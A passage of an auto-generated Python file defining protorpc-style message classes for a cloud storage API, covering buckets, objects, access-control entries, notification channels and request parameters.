satisfied when an object is created before midnight of the specified date in UTC. isLive: Relevant only for versioned objects. If the value is true, this condition matches live objects; if the value is false, it matches archived objects. numNewerVersions: Relevant only for versioned objects. If the value is N, this condition is satisfied when there are at least N versions (including the live version) newer than this version of the object. """ age = _messages.IntegerField(1, variant=_messages.Variant.INT32) createdBefore = extra_types.DateField(2) isLive = _messages.BooleanField(3) numNewerVersions = _messages.IntegerField(4, variant=_messages.Variant.INT32) action = _messages.MessageField('ActionValue', 1) condition = _messages.MessageField('ConditionValue', 2) rule = _messages.MessageField('RuleValueListEntry', 1, repeated=True) class LoggingValue(_messages.Message): """The bucket's logging configuration, which defines the destination bucket and optional name prefix for the current bucket's logs. Fields: logBucket: The destination bucket where the current bucket's logs should be placed. logObjectPrefix: A prefix for log object names. """ logBucket = _messages.StringField(1) logObjectPrefix = _messages.StringField(2) class OwnerValue(_messages.Message): """The owner of the bucket. This is always the project team's owner group. Fields: entity: The entity, in the form project-owner-projectId. entityId: The ID for the entity. """ entity = _messages.StringField(1) entityId = _messages.StringField(2) class VersioningValue(_messages.Message): """The bucket's versioning configuration. Fields: enabled: While set to true, versioning is fully enabled for this bucket. """ enabled = _messages.BooleanField(1) class WebsiteValue(_messages.Message): """The bucket's website configuration. Fields: mainPageSuffix: Behaves as the bucket's directory index where missing objects are treated as potential directories. notFoundPage: The custom object to return when a requested resource is not found. """ mainPageSuffix = _messages.StringField(1) notFoundPage = _messages.StringField(2) acl = _messages.MessageField('BucketAccessControl', 1, repeated=True) cors = _messages.MessageField('CorsValueListEntry', 2, repeated=True) defaultObjectAcl = _messages.MessageField('ObjectAccessControl', 3, repeated=True) etag = _messages.StringField(4) id = _messages.StringField(5) kind = _messages.StringField(6, default=u'storage#bucket') lifecycle = _messages.MessageField('LifecycleValue', 7) location = _messages.StringField(8) logging = _messages.MessageField('LoggingValue', 9) metageneration = _messages.IntegerField(10) name = _messages.StringField(11) owner = _messages.MessageField('OwnerValue', 12) projectNumber = _messages.IntegerField(13, variant=_messages.Variant.UINT64) selfLink = _messages.StringField(14) storageClass = _messages.StringField(15) timeCreated = _message_types.DateTimeField(16) updated = _message_types.DateTimeField(17) versioning = _messages.MessageField('VersioningValue', 18) website = _messages.MessageField('WebsiteValue', 19) class BucketAccessControl(_messages.Message): """An access-control entry. Messages: ProjectTeamValue: The project team associated with the entity, if any. Fields: bucket: The name of the bucket. domain: The domain associated with the entity, if any. email: The email address associated with the entity, if any. entity: The entity holding the permission, in one of the following forms: - user-userId - user-email - group-groupId - group-email - domain- domain - project-team-projectId - allUsers - allAuthenticatedUsers Examples: - The user liz@example.com would be user-liz@example.com. - The group example@googlegroups.com would be group- example@googlegroups.com. - To refer to all members of the Google Apps for Business domain example.com, the entity would be domain-example.com. entityId: The ID for the entity, if any. etag: HTTP 1.1 Entity tag for the access-control entry. id: The ID of the access-control entry. kind: The kind of item this is. For bucket access control entries, this is always storage#bucketAccessControl. projectTeam: The project team associated with the entity, if any. role: The access permission for the entity. Can be READER, WRITER, or OWNER. selfLink: The link to this access-control entry. """ class ProjectTeamValue(_messages.Message): """The project team associated with the entity, if any. Fields: projectNumber: The project number. team: The team. Can be owners, editors, or viewers. """ projectNumber = _messages.StringField(1) team = _messages.StringField(2) bucket = _messages.StringField(1) domain = _messages.StringField(2) email = _messages.StringField(3) entity = _messages.StringField(4) entityId = _messages.StringField(5) etag = _messages.StringField(6) id = _messages.StringField(7) kind = _messages.StringField(8, default=u'storage#bucketAccessControl') projectTeam = _messages.MessageField('ProjectTeamValue', 9) role = _messages.StringField(10) selfLink = _messages.StringField(11) class BucketAccessControls(_messages.Message): """An access-control list. Fields: items: The list of items. kind: The kind of item this is. For lists of bucket access control entries, this is always storage#bucketAccessControls. """ items = _messages.MessageField('BucketAccessControl', 1, repeated=True) kind = _messages.StringField(2, default=u'storage#bucketAccessControls') class Buckets(_messages.Message): """A list of buckets. Fields: items: The list of items. kind: The kind of item this is. For lists of buckets, this is always storage#buckets. nextPageToken: The continuation token, used to page through large result sets. Provide this value in a subsequent request to return the next page of results. """ items = _messages.MessageField('Bucket', 1, repeated=True) kind = _messages.StringField(2, default=u'storage#buckets') nextPageToken = _messages.StringField(3) class Channel(_messages.Message): """An notification channel used to watch for resource changes. Messages: ParamsValue: Additional parameters controlling delivery channel behavior. Optional. Fields: address: The address where notifications are delivered for this channel. expiration: Date and time of notification channel expiration, expressed as a Unix timestamp, in milliseconds. Optional. id: A UUID or similar unique string that identifies this channel. kind: Identifies this as a notification channel used to watch for changes to a resource. Value: the fixed string "api#channel". params: Additional parameters controlling delivery channel behavior. Optional. payload: A Boolean value to indicate whether payload is wanted. Optional. resourceId: An opaque ID that identifies the resource being watched on this channel. Stable across different API versions. resourceUri: A version-specific identifier for the watched resource. token: An arbitrary string delivered to the target address with each notification delivered over this channel. Optional. type: The type of delivery mechanism used for this channel. """ @encoding.MapUnrecognizedFields('additionalProperties') class ParamsValue(_messages.Message): """Additional parameters controlling delivery channel behavior. Optional. Messages: AdditionalProperty: An additional property for a ParamsValue object. Fields: additionalProperties: Declares a new parameter by name. """ class AdditionalProperty(_messages.Message): """An additional property for a ParamsValue object. Fields: key: Name of the additional property. value: A string attribute. """ key = _messages.StringField(1) value = _messages.StringField(2) additionalProperties = _messages.MessageField('AdditionalProperty', 1, repeated=True) address = _messages.StringField(1) expiration = _messages.IntegerField(2) id = _messages.StringField(3) kind = _messages.StringField(4, default=u'api#channel') params = _messages.MessageField('ParamsValue', 5) payload = _messages.BooleanField(6) resourceId = _messages.StringField(7) resourceUri = _messages.StringField(8) token = _messages.StringField(9) type = _messages.StringField(10) class ComposeRequest(_messages.Message): """A Compose request. Messages: SourceObjectsValueListEntry: A SourceObjectsValueListEntry object. Fields: destination: Properties of the resulting object. kind: The kind of item this is. sourceObjects: The list of source objects that will be concatenated into a single object. """ class SourceObjectsValueListEntry(_messages.Message): """A SourceObjectsValueListEntry object. Messages: ObjectPreconditionsValue: Conditions that must be met for this operation to execute. Fields: generation: The generation of this object to use as the source. name: The source object's name. The source object's bucket is implicitly the destination bucket. objectPreconditions: Conditions that must be met for this operation to execute. """ class ObjectPreconditionsValue(_messages.Message): """Conditions that must be met for this operation to execute. Fields: ifGenerationMatch: Only perform the composition if the generation of the source object that would be used matches this value. If this value and a generation are both specified, they must be the same value or the call will fail. """ ifGenerationMatch = _messages.IntegerField(1) generation = _messages.IntegerField(1) name = _messages.StringField(2) objectPreconditions = _messages.MessageField('ObjectPreconditionsValue', 3) destination = _messages.MessageField('Object', 1) kind = _messages.StringField(2, default=u'storage#composeRequest') sourceObjects = _messages.MessageField('SourceObjectsValueListEntry', 3, repeated=True) class Object(_messages.Message): """An object. Messages: CustomerEncryptionValue: Metadata of customer-supplied encryption key, if the object is encrypted by such a key. MetadataValue: User-provided metadata, in key/value pairs. OwnerValue: The owner of the object. This will always be the uploader of the object. Fields: acl: Access controls on the object. bucket: The name of the bucket containing this object. cacheControl: Cache-Control directive for the object data. componentCount: Number of underlying components that make up this object. Components are accumulated by compose operations. contentDisposition: Content-Disposition of the object data. contentEncoding: Content-Encoding of the object data. contentLanguage: Content-Language of the object data. contentType: Content-Type of the object data. crc32c: CRC32c checksum, as described in RFC 4960, Appendix B; encoded using base64 in big-endian byte order. For more information about using the CRC32c checksum, see Hashes and ETags: Best Practices. customerEncryption: Metadata of customer-supplied encryption key, if the object is encrypted by such a key. etag: HTTP 1.1 Entity tag for the object. generation: The content generation of this object. Used for object versioning. id: The ID of the object. kind: The kind of item this is. For objects, this is always storage#object. md5Hash: MD5 hash of the data; encoded using base64. For more information about using the MD5 hash, see Hashes and ETags: Best Practices. mediaLink: Media download link. metadata: User-provided metadata, in key/value pairs. metageneration: The version of the metadata for this object at this generation. Used for preconditions and for detecting changes in metadata. A metageneration number is only meaningful in the context of a particular generation of a particular object. name: The name of this object. Required if not specified by URL parameter. owner: The owner of the object. This will always be the uploader of the object. selfLink: The link to this object. size: Content-Length of the data in bytes. storageClass: Storage class of the object. timeCreated: The creation time of the object in RFC 3339 format. timeDeleted: The deletion time of the object in RFC 3339 format. Will be returned if and only if this version of the object has been deleted. updated: The modification time of the object metadata in RFC 3339 format. """ class CustomerEncryptionValue(_messages.Message): """Metadata of customer-supplied encryption key, if the object is encrypted by such a key. Fields: encryptionAlgorithm: The encryption algorithm. keySha256: SHA256 hash value of the encryption key. """ encryptionAlgorithm = _messages.StringField(1) keySha256 = _messages.StringField(2) @encoding.MapUnrecognizedFields('additionalProperties') class MetadataValue(_messages.Message): """User-provided metadata, in key/value pairs. Messages: AdditionalProperty: An additional property for a MetadataValue object. Fields: additionalProperties: An individual metadata entry. """ class AdditionalProperty(_messages.Message): """An additional property for a MetadataValue object. Fields: key: Name of the additional property. value: A string attribute. """ key = _messages.StringField(1) value = _messages.StringField(2) additionalProperties = _messages.MessageField('AdditionalProperty', 1, repeated=True) class OwnerValue(_messages.Message): """The owner of the object. This will always be the uploader of the object. Fields: entity: The entity, in the form user-userId. entityId: The ID for the entity. """ entity = _messages.StringField(1) entityId = _messages.StringField(2) acl = _messages.MessageField('ObjectAccessControl', 1, repeated=True) bucket = _messages.StringField(2) cacheControl = _messages.StringField(3) componentCount = _messages.IntegerField(4, variant=_messages.Variant.INT32) contentDisposition = _messages.StringField(5) contentEncoding = _messages.StringField(6) contentLanguage = _messages.StringField(7) contentType = _messages.StringField(8) crc32c = _messages.StringField(9) customerEncryption = _messages.MessageField('CustomerEncryptionValue', 10) etag = _messages.StringField(11) generation = _messages.IntegerField(12) id = _messages.StringField(13) kind = _messages.StringField(14, default=u'storage#object') md5Hash = _messages.StringField(15) mediaLink = _messages.StringField(16) metadata = _messages.MessageField('MetadataValue', 17) metageneration = _messages.IntegerField(18) name = _messages.StringField(19) owner = _messages.MessageField('OwnerValue', 20) selfLink = _messages.StringField(21) size = _messages.IntegerField(22, variant=_messages.Variant.UINT64) storageClass = _messages.StringField(23) timeCreated = _message_types.DateTimeField(24) timeDeleted = _message_types.DateTimeField(25) updated = _message_types.DateTimeField(26) class ObjectAccessControl(_messages.Message): """An access-control entry. Messages: ProjectTeamValue: The project team associated with the entity, if any. Fields: bucket: The name of the bucket. domain: The domain associated with the entity, if any. email: The email address associated with the entity, if any. entity: The entity holding the permission, in one of the following forms: - user-userId - user-email - group-groupId - group-email - domain- domain - project-team-projectId - allUsers - allAuthenticatedUsers Examples: - The user liz@example.com would be user-liz@example.com. - The group example@googlegroups.com would be group- example@googlegroups.com. - To refer to all members of the Google Apps for Business domain example.com, the entity would be domain-example.com. entityId: The ID for the entity, if any. etag: HTTP 1.1 Entity tag for the access-control entry. generation: The content generation of the object. id: The ID of the access-control entry. kind: The kind of item this is. For object access control entries, this is always storage#objectAccessControl. object: The name of the object. projectTeam: The project team associated with the entity, if any. role: The access permission for the entity. Can be READER or OWNER. selfLink: The link to this access-control entry. """ class ProjectTeamValue(_messages.Message): """The project team associated with the entity, if any. Fields: projectNumber: The project number. team: The team. Can be owners, editors, or viewers. """ projectNumber = _messages.StringField(1) team = _messages.StringField(2) bucket = _messages.StringField(1) domain = _messages.StringField(2) email = _messages.StringField(3) entity = _messages.StringField(4) entityId = _messages.StringField(5) etag = _messages.StringField(6) generation = _messages.IntegerField(7) id = _messages.StringField(8) kind = _messages.StringField(9, default=u'storage#objectAccessControl') object = _messages.StringField(10) projectTeam = _messages.MessageField('ProjectTeamValue', 11) role = _messages.StringField(12) selfLink = _messages.StringField(13) class ObjectAccessControls(_messages.Message): """An access-control list. Fields: items: The list of items. kind: The kind of item this is. For lists of object access control entries, this is always storage#objectAccessControls. """ items = _messages.MessageField('extra_types.JsonValue', 1, repeated=True) kind = _messages.StringField(2, default=u'storage#objectAccessControls') class Objects(_messages.Message): """A list of objects. Fields: items: The list of items. kind: The kind of item this is. For lists of objects, this is always storage#objects. nextPageToken: The continuation token, used to page through large result sets. Provide this value in a subsequent request to return the next page of results. prefixes: The list of prefixes of objects matching-but-not-listed up to and including the requested delimiter. """ items = _messages.MessageField('Object', 1, repeated=True) kind = _messages.StringField(2, default=u'storage#objects') nextPageToken = _messages.StringField(3) prefixes = _messages.StringField(4, repeated=True) class RewriteResponse(_messages.Message): """A rewrite response. Fields: done: true if the copy is finished; otherwise, false if the copy is in progress. This property is always present in the response. kind: The kind of item this is. objectSize: The total size of the object being copied in bytes. This property is always present in the response. resource: A resource containing the metadata for the copied-to object. This property is present in the response only when copying completes. rewriteToken: A token to use in subsequent requests to continue copying data. This token is present in the response only when there is more data to copy. totalBytesRewritten: The total bytes written so far, which can be used to provide a waiting user with a progress indicator. This property is always present in the response. """ done = _messages.BooleanField(1) kind = _messages.StringField(2, default=u'storage#rewriteResponse') objectSize = _messages.IntegerField(3, variant=_messages.Variant.UINT64) resource = _messages.MessageField('Object', 4) rewriteToken = _messages.StringField(5) totalBytesRewritten = _messages.IntegerField(6, variant=_messages.Variant.UINT64) class StandardQueryParameters(_messages.Message): """Query parameters accepted by all methods. Enums: AltValueValuesEnum: Data format for the response. Fields: alt: Data format for the response. fields: Selector specifying which fields to include in a partial response. key: API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token. oauth_token: OAuth 2.0 token for the current user. prettyPrint: Returns response with indentations and line breaks. quotaUser: Available to use for quota purposes for server-side applications. Can be any arbitrary string assigned to a user, but should not exceed 40 characters. Overrides userIp if both are provided. trace: A tracing token of the form "token:<tokenid>" to include in api requests. userIp: IP address of the site where the request originates. Use this if you want to enforce per-user limits. """ class AltValueValuesEnum(_messages.Enum): """Data format for the response. Values: json: Responses with Content-Type of application/json """ json = 0 alt = _messages.EnumField('AltValueValuesEnum', 1, default=u'json') fields = _messages.StringField(2) key = _messages.StringField(3) oauth_token = _messages.StringField(4) prettyPrint = _messages.BooleanField(5, default=True) quotaUser = _messages.StringField(6) trace = _messages.StringField(7) userIp = _messages.StringField(8) class StorageBucketAccessControlsDeleteRequest(_messages.Message): """A StorageBucketAccessControlsDeleteRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. """ bucket = _messages.StringField(1, required=True) entity = _messages.StringField(2, required=True) class StorageBucketAccessControlsDeleteResponse(_messages.Message): """An empty StorageBucketAccessControlsDelete response.""" class StorageBucketAccessControlsGetRequest(_messages.Message): """A StorageBucketAccessControlsGetRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. """ bucket = _messages.StringField(1, required=True) entity = _messages.StringField(2, required=True) class StorageBucketAccessControlsListRequest(_messages.Message): """A StorageBucketAccessControlsListRequest object. Fields: bucket: Name of a bucket. """ bucket = _messages.StringField(1, required=True) class StorageBucketsDeleteRequest(_messages.Message): """A StorageBucketsDeleteRequest object. Fields: bucket: Name of a bucket. ifMetagenerationMatch: If set, only deletes the bucket if its metageneration matches this value. ifMetagenerationNotMatch: If set, only deletes the bucket if its metageneration does not match this value. """ bucket = _messages.StringField(1, required=True) ifMetagenerationMatch = _messages.IntegerField(2) ifMetagenerationNotMatch = _messages.IntegerField(3) class StorageBucketsDeleteResponse(_messages.Message): """An empty StorageBucketsDelete response.""" class StorageBucketsGetRequest(_messages.Message): """A StorageBucketsGetRequest object. Enums: ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl. Fields: bucket: Name of a bucket. ifMetagenerationMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration does not match the given value. projection: Set of properties to return. Defaults to noAcl. """ class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to noAcl. Values: full: Include all properties. noAcl: Omit acl and defaultObjectAcl properties. """ full = 0 noAcl = 1 bucket = _messages.StringField(1, required=True) ifMetagenerationMatch = _messages.IntegerField(2) ifMetagenerationNotMatch = _messages.IntegerField(3) projection = _messages.EnumField('ProjectionValueValuesEnum', 4) class StorageBucketsInsertRequest(_messages.Message): """A StorageBucketsInsertRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this bucket. PredefinedDefaultObjectAclValueValuesEnum: Apply a predefined set of default object access controls to this bucket. ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl, unless the bucket resource specifies acl or defaultObjectAcl properties, when it defaults to full. Fields: bucket: A Bucket resource to be passed as the request body. predefinedAcl: Apply a predefined set of access controls to this bucket. predefinedDefaultObjectAcl: Apply a predefined set of default object access controls to this bucket. project: A valid API project identifier. projection: Set of properties to return. Defaults to noAcl, unless the bucket resource specifies acl or defaultObjectAcl properties, when it defaults to full. """ class PredefinedAclValueValuesEnum(_messages.Enum): """Apply a predefined set of access controls to this bucket. Values: authenticatedRead: Project team owners get OWNER access, and allAuthenticatedUsers get READER access. private: Project team owners get OWNER access. projectPrivate: Project team members get access according to their roles. publicRead: Project team owners get OWNER access, and allUsers get READER access. publicReadWrite: Project team owners get OWNER access, and allUsers get WRITER access. """ authenticatedRead = 0 private = 1 projectPrivate = 2 publicRead = 3 publicReadWrite = 4 class PredefinedDefaultObjectAclValueValuesEnum(_messages.Enum): """Apply a predefined set of default object access controls to this bucket. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to noAcl, unless the bucket resource specifies acl or defaultObjectAcl properties, when it defaults to full. Values: full: Include all properties. noAcl: Omit acl and defaultObjectAcl properties. """ full = 0 noAcl = 1 bucket = _messages.MessageField('Bucket', 1) predefinedAcl = _messages.EnumField('PredefinedAclValueValuesEnum', 2) predefinedDefaultObjectAcl = _messages.EnumField('PredefinedDefaultObjectAclValueValuesEnum', 3) project = _messages.StringField(4, required=True) projection = _messages.EnumField('ProjectionValueValuesEnum', 5) class StorageBucketsListRequest(_messages.Message): """A StorageBucketsListRequest object. Enums: ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl. Fields: maxResults: Maximum number of buckets to return. pageToken: A previously-returned page token representing part of the larger set of results to view. prefix: Filter results to buckets whose names begin with this prefix. project: A valid API project identifier. projection: Set of properties to return. Defaults to noAcl. """ class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to noAcl. Values: full: Include all properties. noAcl: Omit acl and defaultObjectAcl properties. """ full = 0 noAcl = 1 maxResults = _messages.IntegerField(1, variant=_messages.Variant.UINT32) pageToken = _messages.StringField(2) prefix = _messages.StringField(3) project = _messages.StringField(4, required=True) projection = _messages.EnumField('ProjectionValueValuesEnum', 5) class StorageBucketsPatchRequest(_messages.Message): """A StorageBucketsPatchRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this bucket. PredefinedDefaultObjectAclValueValuesEnum: Apply a predefined set of default object access controls to this bucket. ProjectionValueValuesEnum: Set of properties to return. Defaults to full. Fields: bucket: Name of a bucket. bucketResource: A Bucket resource to be passed as the request body. ifMetagenerationMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration does not match the given value. predefinedAcl: Apply a predefined set of access controls to this bucket. predefinedDefaultObjectAcl: Apply a predefined set of default object access controls to this bucket. projection: Set of properties to return. Defaults to full. """ class PredefinedAclValueValuesEnum(_messages.Enum): """Apply a predefined set of access controls to this bucket. Values: authenticatedRead: Project team owners get OWNER access, and allAuthenticatedUsers get READER access. private: Project team owners get OWNER access. projectPrivate: Project team members get access according to their roles. publicRead: Project team owners get OWNER access, and allUsers get READER access. publicReadWrite: Project team owners get OWNER access, and allUsers get WRITER access. """ authenticatedRead = 0 private = 1 projectPrivate = 2 publicRead = 3 publicReadWrite = 4 class PredefinedDefaultObjectAclValueValuesEnum(_messages.Enum): """Apply a predefined set of default object access controls to this bucket. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to full. Values: full: Include all properties. noAcl: Omit acl and defaultObjectAcl properties. """ full = 0 noAcl = 1 bucket = _messages.StringField(1, required=True) bucketResource = _messages.MessageField('Bucket', 2) ifMetagenerationMatch = _messages.IntegerField(3) ifMetagenerationNotMatch = _messages.IntegerField(4) predefinedAcl = _messages.EnumField('PredefinedAclValueValuesEnum', 5) predefinedDefaultObjectAcl = _messages.EnumField('PredefinedDefaultObjectAclValueValuesEnum', 6) projection = _messages.EnumField('ProjectionValueValuesEnum', 7) class StorageBucketsUpdateRequest(_messages.Message): """A StorageBucketsUpdateRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this bucket. PredefinedDefaultObjectAclValueValuesEnum: Apply a predefined set of default object access controls to this bucket. ProjectionValueValuesEnum: Set of properties to return. Defaults to full. Fields: bucket: Name of a bucket. bucketResource: A Bucket resource to be passed as the request body. ifMetagenerationMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the return of the bucket metadata conditional on whether the bucket's current metageneration does not match the given value. predefinedAcl: Apply a predefined set of access controls to this bucket. predefinedDefaultObjectAcl: Apply a predefined set of default object access controls to this bucket. projection: Set of properties to return. Defaults to full. """ class PredefinedAclValueValuesEnum(_messages.Enum): """Apply a predefined set of access controls to this bucket. Values: authenticatedRead: Project team owners get OWNER access, and allAuthenticatedUsers get READER access. private: Project team owners get OWNER access. projectPrivate: Project team members get access according to their roles. publicRead: Project team owners get OWNER access, and allUsers get READER access. publicReadWrite: Project team owners get OWNER access, and allUsers get WRITER access. """ authenticatedRead = 0 private = 1 projectPrivate = 2 publicRead = 3 publicReadWrite = 4 class PredefinedDefaultObjectAclValueValuesEnum(_messages.Enum): """Apply a predefined set of default object access controls to this bucket. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(_messages.Enum): """Set of properties to return. Defaults to full. Values: full: Include all properties. noAcl: Omit acl and defaultObjectAcl properties. """ full = 0 noAcl = 1 bucket = _messages.StringField(1, required=True) bucketResource = _messages.MessageField('Bucket', 2) ifMetagenerationMatch = _messages.IntegerField(3) ifMetagenerationNotMatch = _messages.IntegerField(4) predefinedAcl = _messages.EnumField('PredefinedAclValueValuesEnum', 5) predefinedDefaultObjectAcl = _messages.EnumField('PredefinedDefaultObjectAclValueValuesEnum', 6) projection = _messages.EnumField('ProjectionValueValuesEnum', 7) class StorageChannelsStopResponse(_messages.Message): """An empty StorageChannelsStop response.""" class StorageDefaultObjectAccessControlsDeleteRequest(_messages.Message): """A StorageDefaultObjectAccessControlsDeleteRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. """ bucket = _messages.StringField(1, required=True) entity = _messages.StringField(2, required=True) class StorageDefaultObjectAccessControlsDeleteResponse(_messages.Message): """An empty StorageDefaultObjectAccessControlsDelete response.""" class StorageDefaultObjectAccessControlsGetRequest(_messages.Message): """A StorageDefaultObjectAccessControlsGetRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. """ bucket = _messages.StringField(1, required=True) entity = _messages.StringField(2, required=True) class StorageDefaultObjectAccessControlsListRequest(_messages.Message): """A StorageDefaultObjectAccessControlsListRequest object. Fields: bucket: Name of a bucket. ifMetagenerationMatch: If present, only return default ACL listing if the bucket's current metageneration matches this value. ifMetagenerationNotMatch: If present, only return default ACL listing if the bucket's current metageneration does not match the given value. """ bucket = _messages.StringField(1, required=True) ifMetagenerationMatch = _messages.IntegerField(2) ifMetagenerationNotMatch = _messages.IntegerField(3) class StorageObjectAccessControlsDeleteRequest(_messages.Message): """A StorageObjectAccessControlsDeleteRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. """ bucket = _messages.StringField(1, required=True) entity = _messages.StringField(2, required=True) generation = _messages.IntegerField(3) object = _messages.StringField(4, required=True) class StorageObjectAccessControlsDeleteResponse(_messages.Message): """An empty StorageObjectAccessControlsDelete response.""" class StorageObjectAccessControlsGetRequest(_messages.Message): """A StorageObjectAccessControlsGetRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. """ bucket = _messages.StringField(1, required=True) entity = _messages.StringField(2, required=True) generation = _messages.IntegerField(3) object = _messages.StringField(4, required=True) class StorageObjectAccessControlsInsertRequest(_messages.Message): """A StorageObjectAccessControlsInsertRequest object. Fields: bucket: Name of a bucket. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. objectAccessControl: A ObjectAccessControl resource to be passed as the request body. """ bucket = _messages.StringField(1, required=True) generation = _messages.IntegerField(2) object = _messages.StringField(3, required=True) objectAccessControl = _messages.MessageField('ObjectAccessControl', 4) class StorageObjectAccessControlsListRequest(_messages.Message): """A StorageObjectAccessControlsListRequest object. Fields: bucket: Name of a bucket. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. """ bucket = _messages.StringField(1, required=True) generation = _messages.IntegerField(2) object = _messages.StringField(3, required=True) class StorageObjectAccessControlsPatchRequest(_messages.Message): """A StorageObjectAccessControlsPatchRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. objectAccessControl: A ObjectAccessControl resource to be passed as the request body. """ bucket = _messages.StringField(1, required=True) entity = _messages.StringField(2, required=True) generation = _messages.IntegerField(3) object = _messages.StringField(4, required=True) objectAccessControl = _messages.MessageField('ObjectAccessControl', 5) class StorageObjectAccessControlsUpdateRequest(_messages.Message): """A StorageObjectAccessControlsUpdateRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. objectAccessControl: A ObjectAccessControl resource to be passed as the request body. """ bucket = _messages.StringField(1, required=True) entity = _messages.StringField(2, required=True) generation = _messages.IntegerField(3) object = _messages.StringField(4, required=True) objectAccessControl = _messages.MessageField('ObjectAccessControl', 5) class StorageObjectsComposeRequest(_messages.Message): """A StorageObjectsComposeRequest object. Enums: DestinationPredefinedAclValueValuesEnum: Apply a predefined set of access controls to the destination object. Fields: composeRequest: A ComposeRequest resource to be passed as the request body. destinationBucket: Name of the bucket in which to store the new object. destinationObject: Name of the new object. For information about how to URL encode object names to be path safe, see Encoding URI Path Parts. destinationPredefinedAcl: Apply a predefined set of access controls to the destination object. ifGenerationMatch: Makes the operation conditional on whether the object's current generation matches the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. """ class DestinationPredefinedAclValueValuesEnum(_messages.Enum): """Apply a predefined set of access controls to the destination object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 composeRequest = _messages.MessageField('ComposeRequest', 1) destinationBucket = _messages.StringField(2, required=True) destinationObject = _messages.StringField(3, required=True) destinationPredefinedAcl = _messages.EnumField('DestinationPredefinedAclValueValuesEnum', 4) ifGenerationMatch = _messages.IntegerField(5) ifMetagenerationMatch = _messages.IntegerField(6) class 